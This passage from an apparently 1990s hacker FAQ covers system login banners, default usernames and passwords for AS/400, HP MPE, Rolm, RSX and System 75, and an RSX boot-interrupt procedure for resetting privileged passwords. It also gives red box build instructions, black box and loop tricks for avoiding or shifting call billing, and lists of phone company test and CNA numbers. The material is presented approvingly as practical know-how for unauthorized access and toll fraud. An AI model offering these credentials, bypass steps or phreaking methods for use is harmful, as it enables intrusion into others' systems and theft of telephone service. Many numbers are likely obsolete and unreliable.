~~~~~~
> PRIMENET 19.2.7F PPOA1
>
> 
>
> ER!
>
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>
> CONNECT
> Primenet V 2.3  (system)
> LOGIN           (you)
> User id?        (system)
> SAPB5           (you)
> Password?       (system)
> DROWSAP         (you)
> OK,             (system)

ROLM-OSL
~~~~~~~~
> MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47
> RELEASE 8003
> OSL, PLEASE.
> ?

Tops-10
~~~~~~~
> NIH Timesharing
>
> NIH Tri-SMP 7.02-FF  16:30:04 TTY11
> system 1378/1381/1453 Connected to Node Happy(40) Line # 12
> Please LOGIN
> .

VM/370
~~~~~~
> VM/370
> !


N 25. What are the default accounts for XXX?

AS/400
~~~~~~
> qsecofr/qsecofr (master security officer)
> qsysopr/qsysopr (system operator)
> qpgmr/qpgmr     (default programmer)
>
> also
>
> secofr/secofr (sometimes...)
> ibm/password
> ibm/2222
> ibm/service

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
> Format is Account.Group,Job
>
> HELLO           Account           Password
> ~~~~~           ~~~~~~~~~~~~~     ~~~~~~~~~~~
> HELLO           MANAGER.SYS
> HELLO           MGR.SYS
> HELLO           FIELD.SUPPORT     HPUNSUP or SUPPORT or HP
> HELLO           OP.OPERATOR
> MGR             .CAROLIAN
> MGR             .CCC
> MGR             .CNAS
> MGR             .CONV
> MGR             .COGNOS
> OPERATOR        .COGNOS
> MANAGER         .COGNOS
> OPERATOR        .DISC
> MGR             .HPDESK
> MGR             .HPWORD
> FIELD           .HPWORD
> MGR             .HPOFFICE
> SPOOLMAN        .HPOFFICE
> ADVMAIL         .HPOFFICE
> MAIL            .HPOFFICE
> WP              .HPOFFICE
> MANAGER         .HPOFFICE
> MGR             .HPONLY
> FIELD           .HPP187
> MGR             .HPP187
> MGR             .HPP189
> MGR             .HPP196
> MGR             .INTX3
> MGR             .ITF3000
> MANAGER         .ITF3000
> MAIL            .MAIL
> MGR             .NETBASE
> MGR             .REGO
> MGR             .RJE
> MGR             .ROBELLE
> MANAGER         .SECURITY
> MGR             .SECURITY
> FIELD           .SERVICE
> MANAGER         .SYS
> MGR             .SYS
> PCUSER          .SYS
> RSBCMON         .SYS
> OPERATOR        .SYS
> OPERATOR        .SYSTEM
> FIELD           .SUPPORT
> OPERATOR        .SUPPORT
> MANAGER         .TCH
> MAIL            .TELESUP
> MANAGER         .TELESUP
> MGR             .TELESUP
> SYS             .TELESUP
> MGE             .VESOFT
> MGE             .VESOFT
> MGR             .WORD
> MGR             .XLSERVER
>
> Common jobs are Pub, Sys, Data
> Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

PICK O/S
~~~~~~~~
> DSA             # Desquetop System Administrator
> DS
> DESQUETOP
> PHANTOM

Rolm
~~~~
> CBX Defaults
>
> op              op
> op              operator
> su              super
> admin           pwp
> eng             engineer
>
>
> PhoneMail Defaults
>
> sysadmin        sysadmin
> tech            tech
> poll            tech

RSX
~~~
> SYSTEM/SYSTEM   (Username SYSTEM, Password SYSTEM)
> 1,1/system      (Directory [1,1] Password SYSTEM)
> BATCH/BATCH
> SYSTEM/MANAGER
> USER/USER
>
> Default accounts for Micro/RSX:
>
>                 MICRO/RSX
>
> Alternately you can hit   when the boot sequence asks you for the
> date and create an account using:
>
>                 RUN ACNT
>             or  RUN $ACNT
>
> (Numbers below 10 {oct} are Priveledged)
>
> Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
> type "abo at." You must include the . dot!
>
> If this works, type "acs lb0:/blks=1000" to get some swap space so the
> new step won't wedge.
>
> type " run $acnt" and change the password of any account with a group
> number of 7 or less.
>
> You may find that the ^C does not work. Try ^Z and ESC as well.
> Also try all 3 as terminators to valid and invalid times.
>
> If none of the above work, use the halt switch to halt the system,
> just after a invalid date-time.  Look for a user mode PSW 1[4-7]xxxx.
> then deposit 177777 into R6, cross your fingers, write protect the drive
> and continue the system.  This will hopefully result in indirect blowing
> up...  And hopefully the system has not been fully secured.

System 75
~~~~~~~~~
> Username        Passwords
> ~~~~~~~~        ~~~~~~~~~
> bcim            bcimpw
> bciim           bciimpw
> bcms            bcmspw, bcms
> bcnas           bcnspw
> blue            bluepw
> browse          looker, browsepw
> craft           crftpw, craftpw, crack
> cust            custpw
> enquiry         enquirypw
> field           support
> inads           indspw, inadspw, inads
> init            initpw
> kraft           kraftpw
> locate          locatepw
> maint           maintpw, rwmaint
> nms             nmspw
> rcust           rcustpw
> support         supportpw
> tech            field
              
Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
> Default password: 166816


N 26. What port is XXX on?

The file /etc/services on most Unix machines lists the activity
occuring on each port.  Here is a sample /etc/services file from
Linux:

#
# services      This file describes the various services that are
#               available from the TCP/IP subsystem.  It should be
#               consulted instead of using the numbers in the ARPA
#               include files, or, worse, just guessing them.
#
# Version:      @(#)/etc/services       3.02    02/21/93
#
# Author:       Fred N. van Kempen, 
#

tcpmux          1/tcp                           # rfc-1078
echo            7/tcp
echo            7/udp
discard         9/tcp           sink null
discard         9/udp           sink null
systat          11/tcp          users
daytime         13/tcp
daytime         13/udp
netstat         15/tcp
qotd            17/tcp          quote
chargen         19/tcp          ttytst source
chargen         19/udp          ttytst source
ftp-data        20/tcp
ftp             21/tcp
telnet          23/tcp
smtp            25/tcp          mail
time            37/tcp          timserver
time            37/udp          timserver
rlp             39/udp          resource        # resource location
name            42/udp          nameserver
whois           43/tcp          nicname         # usually to sri-nic
domain          53/tcp
domain          53/udp
mtp             57/tcp                          # deprecated
bootps          67/udp                          # bootp server
bootpc          68/udp                          # bootp client
tftp            69/udp
rje             77/tcp
finger          79/tcp
link            87/tcp          ttylink
supdup          95/tcp                          # BSD supdupd(8)
hostnames       101/tcp         hostname        # usually to sri-nic
iso-tsap        102/tcp
x400            103/tcp                         # ISO Mail
x400-snd        104/tcp
csnet-ns        105/tcp
pop-2           109/tcp                         # PostOffice V.2
pop-3           110/tcp                         # PostOffice V.3
sunrpc          111/tcp
sunrpc          111/tcp         portmapper      # RPC 4.0 portmapper UDP
sunrpc          111/udp
sunrpc          111/udp         portmapper      # RPC 4.0 portmapper TCP
ident           113/tcp         auth tap        # identd
sftp            115/tcp
uucp-path       117/tcp
nntp            119/tcp         usenet          # Network News Transfer
ntp             123/tcp                         # Network Time Protocol
ntp             123/udp                         # Network Time Protocol
netbios-ns      137/tcp         nbns
netbios-ns      137/udp         nbns
netbios-dgm     138/tcp         nbdgm
netbios-dgm     138/udp         nbdgm
netbios-ssn     139/tcp         nbssn
NeWS            144/tcp         news            # Window System
snmp            161/udp
snmp-trap       162/udp
exec            512/tcp                         # BSD rexecd(8)
biff            512/udp         comsat
login           513/tcp                         # BSD rlogind(8)
who             513/udp         whod            # BSD rwhod(8)
shell           514/tcp         cmd             # BSD rshd(8)
syslog          514/udp                         # BSD syslogd(8)
printer         515/tcp         spooler         # BSD lpd(8)
talk            517/udp                         # BSD talkd(8)
ntalk           518/udp                         # SunOS talkd(8)
efs             520/tcp                         # for LucasFilm
route           520/udp         router routed   # 521/udp too
timed           525/udp         timeserver
tempo           526/tcp         newdate
courier         530/tcp         rpc             # experimental
conference      531/tcp         chat
netnews         532/tcp         readnews
netwall         533/udp                         # -for emergency broadcasts
uucp            540/tcp         uucpd           # BSD uucpd(8) UUCP service
new-rwho        550/udp         new-who         # experimental
remotefs        556/tcp         rfs_server rfs  # Brunhoff remote filesystem
rmonitor        560/udp         rmonitord       # experimental
monitor         561/udp                         # experimental
pcserver        600/tcp                         # ECD Integrated PC board srvr
mount           635/udp                         # NFS Mount Service
pcnfs           640/udp                         # PC-NFS DOS Authentication
bwnfs           650/udp                         # BW-NFS DOS Authentication
listen          1025/tcp        listener RFS remote_file_sharing
nterm           1026/tcp        remote_login network_terminal
ingreslock      1524/tcp
tnet            1600/tcp                        # transputer net daemon
nfs             2049/udp                        # NFS File Service
irc             6667/tcp                        # Internet Relay Chat
dos             7000/tcp        msdos

# End of services.


Section B: Telephony
~~~~~~~~~~~~~~~~~~~~

01. What is a Red Box?

When a coin is inserted into a payphone, the phone emits a set of
tones.  A red box is a device that simulates those tones, with the
purpose of fooling the payphone into believing you have inserted an
actual coin.  The actual tones are:

Nickel Signal      1700+2200  0.060s on
Dime Signal        1700+2200  0.060s on, 0.060s off, twice repeating
Quarter Signal     1700+2200  33ms on, 33ms off, 5 times repeating


02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer,
open the dialer and replace the crystal (the largest shiny metal
component).  The exact value needed is 6.502457409Mhz.  Unfortunately,
that crystal is not commonly manufactured.  A crystal close to that
value will create a tone that falls within tolerances.  The most
popular choice is the 6.5536Mhz crystal.  When you are finished
replacing the crystal, program the P1 button with five *'s.  That will
simulate a quarter tone each time you press P1.


03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store.  Radio Shack sells them,
but they are overpriced and the store must order them in.  This takes
approximately two weeks.  In addition, many Radio Shack employees do
not know that this can be done.

Or, you could order the crystal mail order.  This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal.  It's best to get several people together to share the
S&H cost.  Or, buy five or six yourself and sell them later.  Some of
the places you can order crystals are:

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800)538-5000
Part Number: 6.5536MHZ

Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
(800)241-8742
Part Number: 10068625


04. Which payphones will a Red Box work on?

Red Boxes will work on TelCo owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).


05. What is a Blue Box?

Blue boxes use a 2600hz tone to convince telephone switches that use
in-band signalling that the caller is actually a telephone operator.
The caller may then access special switch functions, with the usual
purpose of making free long distance phone calls, using the
Multi-Frequency tones provided by the Blue Box.


06. Do Blue Boxes still work?

Blue Boxes still work in areas using in-band signalling.  Modern phone
signalling switches using ESS (Electronic Signalling Systems) use
out-of-band-signalling.  Nothing you send over the voice portion of
bandwidth can control the switch.


07. What is a Black Box?

A Black Box is a 10k ohm resistor placed across your phone line to
cause the phone company equipment to be unable to detect that you have
answered your telephone.  People who call you will then not be billed
for the telephone call.


08. What do all the colored boxes do?

Acrylic      Steal Three-Way-Calling, Call Waiting and programmable
           Call Forwarding on old 4-wire phone systems
Aqua         Drain the voltage of the FBI lock-in-trace/trap-trace
Beige        Lineman's hand set
Black        Allows the calling party to not be billed for the call
           placed
Blast        Phone microphone amplifier
Blotto       Supposedly shorts every fone out in the immediate area
Blue         Emulate a true operator by siezing a trunk with a 2600hz
           tone
Brown        Create a party line from 2 phone lines
Bud          Tap into your neighbors phone line
Chartreuse   Use the electricity from your phone line
Cheese       Connect two phones to create a divertor
Chrome       Manipulate Traffic Signals by Remote Control
Clear        A telephone pickup coil and a small amp use to make free
           calls on Fortress Phones
Color        Line activated telephone recorder
Copper       Cause crosstalk interference on an extender
Crimson      Hold button
Dark         Re-route outgoing or incoming calls to another phone
Dayglo       Connect to your neighbors phone line
Divertor     Re-route outgoing or incoming calls to another phone
DLOC         Create a party line from 2 phone lines
Gold         Trace calls, tell if the call is being traced, and can
           change a trace
Green        Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity     Remotely activated phone tap
Jack         Touch-Tone key pad
Light        In-use light
Lunch        AM transmitter
Magenta      Connect a remote phone line to another remote phone line
Mauve        Phone tap without cutting into a line
Neon         External microphone
Noise        Create line noise
Olive        External ringer
Party        Create a party line from 2 phone lines
Pearl        Tone generator
Pink         Create a party line from 2 phone lines
Purple       Telephone hold button
Rainbow      Kill a trace by putting 120v into the phone line (joke)
Razz         Tap into your neighbors phone
Red          Make free phone calls from pay phones by generating
           quarter tones
Rock         Add music to your phone line
Scarlet      Cause a neighbors phone line to have poor reception
Silver       Create the DTMF tones for A, B, C and D
Static       Keep the voltage on a phone line high
Switch       Add hold, indicator lights, conferencing, etc..
Tan          Line activated telephone recorder
Tron         Reverse the phase of power to your house, causing your
           electric meter to run slower
TV Cable     "See" sound waves on your TV
Urine        Create a capacitative disturbance between the ring and
           tip wires in another's telephone headset
Violet       Keep a payphone from hanging up
White        Portable DTMF keypad
Yellow       Add an extension phone


09. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it.  If that fails, try the
common numbers like 311, 958 and 200-222-2222.  If you find the ANAC
number for your area, please let us know.

Note that many times the ANAC number will vary for different
switches in the same city.

A trick to getting the number of the phone line you are calling from
is to call an (800) phone sex line.  Example: (800)571-8859.  These
systems will give you an account number, which in many cases includes
the telephone number of the phone from which you are calling.

Another useful 800 ANAC number is the Duke Power Company Automated
Outage System at (800)769-3766.  The system will read back to you
the phone number from which you are calling.

Even another 800 ANAC number is Info Access Telephone Company's
Automated Blocking line at (800)568-3197.  It will read back to
you the number from which you are calling, and ask if you would like
it blocked.

(800)3282-630 is another sex line that will give you (after a bit of
work) the last four digits of the phone number you are calling from.

An non-800 ANAC that works nationwide is 404-988-9664.

Please use local ANAC numbers if you can, as abuse or overuse kills
800 ANAC numbers.


NPA  ANAC number      Comments
---  ---------------  ---------------------------------------------
202  958-xxxx         Dictrict of Columbia
203  960              CT (All)
203  970              CT (All)
204  644-xxxx         Manitoba
205  908-222-2222     Birmingham, AL
206  411              WA /* Not US West */
207  958              ME (All)
209  830              Stockton, CA
212  958              Manhattan, NY
213  114              Los Angeles, CA
213  1223             Los Angeles, CA /* some 1AESS switches */
213  211-2345         Los Angeles, CA /* English response */
213  211-2346         Los Angeles, CA /* DTMF response */
213  61056            Los Angeles, CA
214  790              Dallas, TX /* GTE */
214  970-222-2222     Dallas, TX
214  970-611-1111     Dallas, TX /* Southwestern Bell */
215  410-xxxx         Philadelphia, PA
217  200-xxx-xxxx     Champaign-Urbana/Springfield, IL
301  958-9968         Hagerstown/Rockville, MD
305  200-222-2222     Ft. Lauderdale/Key West/Miami, FL
309  200-xxx-xxxx     Peoria/Rock Island, IL
310  114              Long Beach, CA /* on many GTE switches */
310  1223             Long Beach, CA /* some 1AESS switches */
310  211-2345         Long Beach, CA /* English response */
310  211-2346         Long Beach, CA /* DTMF response */
312  200              Chicago, IL
312  290              Chicago, IL
312  1-200-8825       Chicago, IL (Last four change rapidly)
313  200-200-2002     Ann Arbor/Dearborn/Detroit, MI
313  200-222-2222     Ann Arbor/Dearborn/Detroit, MI
313  200-xxx-xxxx     Ann Arbor/Dearborn/Detroit, MI
313  200200200200200  Ann Arbor/Dearborn/Detroit, MI
314  511              Columbia/Jefferson City, MO
317  310-222-2222     Indianapolis/Kokomo, IN
317  743-1218         Indianapolis/Kokomo, IN
401  222-2222         RI (All)
402  311              Lincoln, NE
403  311              Alberta, Yukon and N.W. Territory
403  908-222-2222     Alberta, Yukon and N.W. Territory
403  999              Alberta, Yukon and N.W. Territory
404  311              Atlanta, GA
404  940-xxx-xxxx     Atlanta, GA
405  897              Enid/Oklahoma City, OK
407  200-222-2222     Orlando/West Palm Beach, FL
408  300-xxx-xxxx     San Jose, CA
408  760              San Jose, CA
408  940              San Jose, CA
409  951              Beaumont/Galveston, TX
409  970-xxxx         Beaumont/Galveston, TX
410  200-6969         Annapolis/Baltimore, MD
410  200-555-1212     Annapolis/Baltimore, MD
410  811              Annapolis/Baltimore, MD
412  711-6633         Pittsburgh, PA
412  711-4411         Pittsburgh, PA
412  999-xxxx         Pittsburgh, PA
413  958              Pittsfield/Springfield, MA
413  200-555-5555     Pittsfield/Springfield, MA
414  330-2234         Fond du Lac/Green Bay/Milwaukee/Racine, WI
415  200-555-1212     San Francisco, CA
415  211-2111         San Francisco, CA
415  2222             San Francisco, CA
415  640              San Francisco, CA
415  760-2878         San Francisco, CA
415  7600-2222        San Francisco, CA
419  311              Toledo, OH
502  997-555-1212     Frankfort/Louisville/Paducah/Shelbyville, KY
503  611              Portland, OR  /* not all parts of town */
508  958              Fall River/New Bedford/Worchester, MA
508  200-222-1234     Fall River/New Bedford/Worchester, MA
508  200-222-2222     Fall River/New Bedford/Worchester, MA
509  560              Spokane/Walla Walla/Yakima, WA
512  200-222-2222     Austin/Corpus Christi, TX
512  830              Austin/Corpus Christi, TX
512  970-xxxx         Austin/Corpus Christi, TX
515  5463             Des Moines, IA
516  958              Hempstead/Long Island, NY
516  968              Hempstead/Long Island, NY
517  200-222-2222     Bay City/Jackson/Lansing, MI
517  200200200200200  Bay City/Jackson/Lansing, MI
518  997              Albany/Schenectady/Troy, NY
518  998              Albany/Schenectady/Troy, NY
602  593-0809         Phoenix, AZ
602  593-6017         Phoenix, AZ
602  593-7451         Phoenix, AZ
603  200-222-2222     NH (All)
606  997-555-1212     Ashland/Winchester, KY
607  993              Binghamton/Elmira, NY
609  958              Atlantic City/Camden/Trenton/Vineland, NJ
612  511              Minneapolis/St.Paul, MN
615  200200200200200  Nashville, TN
615  830              Nashville, TN
616  200-222-2222     Battle Creek/Grand Rapids/Kalamazoo, MI
617  200-222-1234     Boston, MA
617  200-222-2222     Boston, MA
617  200-444-4444     Boston, MA /* Woburn, MA */
617  220-2622         Boston, MA
617  958              Boston, MA
618  200-xxx-xxxx     Alton/Cairo/Mt.Vernon, IL
708  1-200-8825       Chicago/Elgin, IL (Last four change rapidly)
708  356-9646         Chicago/Elgin, IL
713  970-xxxx         Houston, TX
714  211-2121         Anaheim, CA /* GTE */
716  511              Buffalo/Niagra Falls/Rochester, NY /* Rochester Tel */
717  958              Harrisburg/Scranton/Wilkes-Barre, PA
718  958              Bronx/Brooklyn/Queens/Staten Island, NY
802  2-222-222-2222   Vermont (All)
802  200-222-2222     Vermont (All)
805  830              San Luis Obispo, CA
806  970-xxxx         Amarillo/Lubbock, TX
810  200200200200200  Michigan
812  410-555-1212     Evansville, IN
813  311              Ft. Meyers/St. Petersburg/Tampa, FL
815  200-xxx-xxxx     La Salle/Rockford, IL
815  290              La Salle/Rockford, IL
817  211              Ft. Worth/Waco, TX
817  970-611-1111     Ft. Worth/Waco, TX  /* Southwestern Bell */
818  1223             Pasadena, CA /* some 1AESS switches */
818  211-2345         Pasadena, CA /* English response */
818  211-2346         Pasadena, CA /* DTMF response */
906  200-222-2222     Marquette/Sault Ste. Marie, MI
908  958              New Brunswick, NJ
910  311              Fayetteville/Greensboro/Raliegh/Winston-Salem, NC
910  988              Fayetteville/Greensboro/Raliegh/Winston-Salem, NC
914  990-1111         Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915  970-xxxx         Abilene/El Paso, TX
919  711              Durham, NC


Canada:
306  115              Saskatchewan, Canada
416  410-xxxx         Toronto, Ontario
416  997-xxxx         Toronto, Ontario
514  320-xxxx         Montreal, Quebec
519  320-xxxx         London, Ontario
604  1116             British Columbia, Canada
604  1211             British Columbia, Canada
604  211              British Columbia, Canada
613  320-2232         Ottawa, Ontario
705  320-xxxx         Saulte Ste. Marie, Ontario

Australia:
+61  03-552-4111      Victoria 03 area
+61  19123            All major capital cities

United Kingdom:
175


10. What is a ringback number?

A ringback number is a number that you call that will immediately
ring the telephone from which it was called.

In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone.  You may then
hang up.  You will be called back seconds later.


11. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you
are calling.  A '?' means that the number varies from switch to switch
in the area, or changes from time to time.  Try all possible
combinations.

201  551-xxxx         Hackensack/Jersey City/Newark/Paterson, NJ
202  958-xxxx         District of Columbia
203  991-xxxx         CT (All)
209  890-xxxx         Stockton, CA
213  1-95x-xxxx       Los Angeles, CA
301  958-xxxx         Hagerstown/Rockville, MD
303  99X-xxxx         Grand Junction, CO
312  511-xxxx         Chicago, IL
312  511-xxx-xxxx     Chicago, IL
312  57?-xxxx         Chicago, IL
412  985-xxxx         Pittsburgh, PA
415  350-xxxx         San Francisco, CA
501  721-xxx-xxxx     AR (All)
502  988              Lexington, KY
504  9988776655       Baton Rouge/New Orleans, LA
512  95X-xxxx         Austin, TX
601  777-xxxx         MS (All)
609  55?-xxxx         Atlantic City/Camden/Trenton/Vineland, NJ
619  331-xxxx         San Diego, CA
619  332-xxxx         San Diego, CA
703  958-xxxx         Alexandria/Arlington/Roanoke, VA
716  981-xxxx         Rochester, NY /* Rochester Tel */
719  99x-xxxx         Colorado Springs/Leadville/Pueblo, CO
801  938-xxxx         Utah (All)
801  939-xxxx         Utah (All)
805  114              Bakersfield/Santa Barbara, CA
813  711              Ft. Meyers/St. Petersburg/Tampa, FL
908  55?-xxxx         New Brunswick, NJ
914  660-xxxx         Peekskill/Poughkeepsie/White Plains/Yonkers, NY

Canada:
416  57x-xxxx         Toronto, Ontario
416  99x-xxxx         Toronto, Ontario
416  999-xxx-xxxx     Toronto, Ontario
514  320-xxx-xxxx     Montreal, Quebec
613  999-xxx-xxxx     Ottawa, Ontario

Australia:
+61 199

United Kingdom:
174


12. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
                                 by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999.  They are used by the phone company for testing.  What
good do loops do us?  Well, they are cool in a few ways.  Here is a
simple use of loops.  Each loop has two ends, a 'high' end, and a
'low' end.  One end gives a (usually) constant, loud tone when it is
called. The other end is silent.  Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop.  Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you.  Here's
what you can use working loops for:  billing phone calls!  First, call
the end that gives the loud tone.  Then if the operator or someone
calls the other end, the tone will go quiet.  Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever.  The operator thinks that she just called you, and
that's it!  Now the phone bill will go to the loop, and your local
RBOC will get the bill!  Use this technique in moderation, or the loop
may go down.  Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.


13. What is a loop in my area?

Many of these loops are no longer functional.  If you are local
to any of these loops, please try them out an e-mail me the results
of your research.

NPA    High      Low
---  --------  --------
201  228-9929  228-9930
201  238-9929  238-9930
201  251-9929  251-9930
201  254-9929  254-9930
201  272-9929  272-9930
201  330-9929  330-9930
201  333-9929  333-9930
201  339-9929  339-9930
201  347-9929  347-9930
201  376-9929  376-9930
201  398-9929  398-9930
201  467-9929  467-9930
201  528-9929  528-9930
201  558-9929  558-9930
201  559-9929  559-9930
201  560-9929  560-9930
201  592-9929  592-9930
201  625-9929  625-9930
201  631-9929  631-9930
201  637-9929  637-9930
201  655-9929  655-9930
201  666-9929  666-9930
201  690-9929  690-9930
201  761-9929  761-9930
201  762-9929  762-9929
201  762-9929  762-9930
201  762-9929  762-9929
201  763-9929  763-9930
201  764-9929  764-9930
201  767-9929  767-9930
201  768-9929  768-9930
201  773-9929  773-9930
201  879-9929  879-9930
201  946-9929  946-9930
201  992-9929  992-9930
201  993-9929  993-9930
201  994-9929  994-9930
213  360-1118  360-1119
213  365-1118  365-1119
213  455-0002  455-xxxx
213  455-0002  455-XXXX
213  546-0002  546-XXXX
213  546-0002  546-xxxx
305  778-9952  778-9951
305  964-9951  964-9952
312  222-9973  222-9974
312  234-9973  234-9974
313  224-9996  224-9997
313  225-9996  225-9997
313  234-9996  234-9997
313  237-9996  237-9997
313  256-9996  256-9997
313  272-9996  272-9997
313  273-9996  273-9997
313  277-9996  277-9997
313  281-9996  281-9997
313  292-9996  292-9997
313  299-9996  299-9997
313  321-9996  321-9997
313  326-9996  326-9997
313  356-9996  356-9997
313  362-9996  362-9997
313  369-9996  369-9997
313  388-9996  388-9997
313  397-9996  397-9997
313  399-9996  399-9997
313  445-9996  445-9997
313  465-9996  465-9997
313  471-9996  471-9997
313  474-9996  474-9997
313  477-9996  477-9997
313  478-9996  478-9997
313  483-9996  483-9997
313  497-9996  497-9997
313  526-9996  526-9997
313  552-9996  552-9997
313  556-9996  556-9997
313  561-9996  561-9997
313  569-9996  569-9996
313  575-9996  575-9997
313  577-9996  577-9997
313  585-9996  585-9997
313  591-9996  591-9997
313  621-9996  621-9997
313  626-9996  626-9997
313  644-9996  644-9997
313  646-9996  646-9997
313  647-9996  647-9997
313  649-9996  649-9997
313  663-9996  663-9997
313  665-9996  665-9997
313  683-9996  683-9997
313  721-9996  721-9997
313  722-9996  722-9997
313  728-9996  728-9997
313  731-9996  731-9997
313  751-9996  751-9997
313  776-9996  776-9997
313  781-9996  781-9997
313  787-9996  787-9997
313  822-9996  822-9997
313  833-9996  833-9997
313  851-9996  851-9997
313  871-9996  871-9997
313  875-9996  875-9997
313  886-9996  886-9997
313  888-9996  888-9997
313  898-9996  898-9997
313  934-9996  934-9997
313  942-9996  942-9997
313  963-9996  963-9997
313  977-9996  977-9997
313  995-9996  995-9997
402  422-0001  422-0002
402  422-0005  422-0006
402  422-0007  422-0008
402  422-0003  422-0004
402  422-0005  422-0006
402  422-0007  422-0008
402  422-0009  ALL-PREF
402  422-0003  422-0004
402  422-0009  ALL-PREF
402  422-0001  422-0002
402  572-0003  572-0004
517  422-9996  422-9997
517  423-9996  423-9997
517  455-9996  455-9997
517  563-9996  563-9997
517  663-9996  663-9997
517  851-9996  851-9997
609  921-9929  921-9930
609  994-9929  994-9930
616  997-9996  997-9997
616  ALL-PREF  ALL-PREF
713  224-1499  759-1799
713  324-1499  324-1799
713  342-1499  342-1799
713  351-1499  351-1799
713  354-1499  354-1799
713  356-1499  356-1799
713  442-1499  442-1799
713  447-1499  447-1799
713  455-1499  455-1799
713  458-1499  458-1799
713  462-1499  462-1799
713  466-1499  466-1799
713  468-1499  468-1799
713  469-1499  469-1799
713  471-1499  471-1799
713  481-1499  481-1799
713  482-1499  482-1799
713  484-1499  484-1799
713  487-1499  487-1799
713  489-1499  489-1799
713  492-1499  492-1799
713  493-1499  493-1799
713  524-1499  524-1799
713  526-1499  526-1799
713  555-1499  555-1799
713  661-1499  661-1799
713  664-1499  664-1799
713  665-1499  665-1799
713  666-1499  666-1799
713  667-1499  667-1799
713  682-1499  976-1799
713  771-1499  771-1799
713  780-1499  780-1799
713  781-1499  997-1799
713  960-1499  960-1799
713  977-1499  977-1799
713  988-1499  988-1799
714  535-1118  535-1119
714  538-1118  538-1119
714  858-1118  858-1119
714  879-1118  879-1119
805  528-0044  528-0045
805  544-0044  544-0045
805  773-0044  773-0045
813  385-9971
908  776-9930  776-9930


14. What is a CNA number?

CNA stands for Customer Name and Address.  The CNA number is a phone
number for telephone company personnel to call and get the name and
address for a phone number.  If a telephone lineman finds a phone line
he does not recognize, he can use the ANI number to find it's phone
number and then call the CNA operator to see who owns it and where
they live.

Normal CNA numbers are available only to telephone company personnel.
Private citizens may now legally get CNA information from private
companies.  Two such companies are:

Unidirectory    (900)933-3330
Telename        (900)884-1212

Note that these are 900 numbers, and will cost you approximately one
dollar per minute.


15. What is the telephone company CNA number for my area?

203  203-771-8080     CT (All)
614  614-464-0123     Columbus/Steubenville, OH
813  813-270-8711     Ft. Meyers/St. Petersburg/Tampa, FL


16. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope
of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several thousand
telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war
dialer or a demon dialer.  Currently, the best war dialer available
to PC-DOS users is ToneLoc .99b8.

A war dialer will dial a range of numbers and log what it finds at
each number.  You can then only dial up the numbers that the war
dialer marked as carriers or tones.


17. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

-BQ-
In some places, scanning has been made illegal.  It would be hard,
though, for someone to file a complaint against you for scanning since
the whole purpose is to call every number once and only once.  It's
not likely to be thought of as harassment by anyone who gets a single
phone call from a scanning computer.  Some central offices have been
known to react strangely when people start scanning.  Sometimes you're
unable to get a dialtone for hours after you start scanning.  But
there is no uniform policy.  The best thing to do is to first find out
if you've got some crazy law saying you can't do it.  If, as is
likely, there is no such law, the only way to find out what happens is
to give it a try.
-EQ-

It should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO.  It is now illegal to place a call
in Colorado Springs without the intent to communicate.


18. Where can I purchase a lineman's handset?

Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
(619)679-0303

Contact East
335 Willow Street
North Andover, MA 01845-5995
(508)682-2000



DTMF stands for Dual Tone Multi Frequency.  These are the tones you
get when you press a key on your telephone touchpad.  The tone of the
button is the sum of the column and row tones.  The ABCD keys do not
exist on standard telephones.

       1209 1336 1477 1633

   697   1    2    3    A

   770   4    5    6    B

   852   7    8    9    C

   941   *    0    #    D




Section C: Resources
~~~~~~~~~~~~~~~~~~~~


01. What are some ftp sites of interest to hackers?

aql.gatech.edu
bellcore.com
cert.org
crimelab.com
cyberspace.com
deimos.cs.uah.edu
freeside.com
ftp.csua.berkeley.edu   /pub/cypherpunks
ftp.eff.org             /pub/cud
ftp.etext.org
ftp.mcs.com             /mcsnet.users/crisadm/stuff/research/samples
ftp.netcom.com          /pub/bradleym
ftp.netcom.com          /pub/zzyzx
ftp.rahul.net           /pub/lps
ftp.std.com             /obi/Mischief/
ftp.std.com             /archives/alt.locksmithing
ftp.warwick.ac.uk
ftp.win.tue.nl
ftp.winternet.com       /users/craigb
garbo.uwasa.fi          /pc/crypt
ghost.dsi.unimi.it      /pub/crypt
grind.isca.uiwa.edu
hack-this.pc.cc.cmu.edu
halcyon.com
ideal.ios.net
lcs.mit.edu             /* Telecom archives */
mary.iia.org            /pub/users/patriot
nic.funet.fi            /pub/doc/cud
paradox1.denver.colorado.edu  /anonymous/text-files/pyrotechnics/
pyrite.rutgers.edu
ripem.msu.edu           /pub/crypt
rtfm.mit.edu
sekurity.com
spy.org
theta.iis.u-tokyo.ac.jp /pub1/security
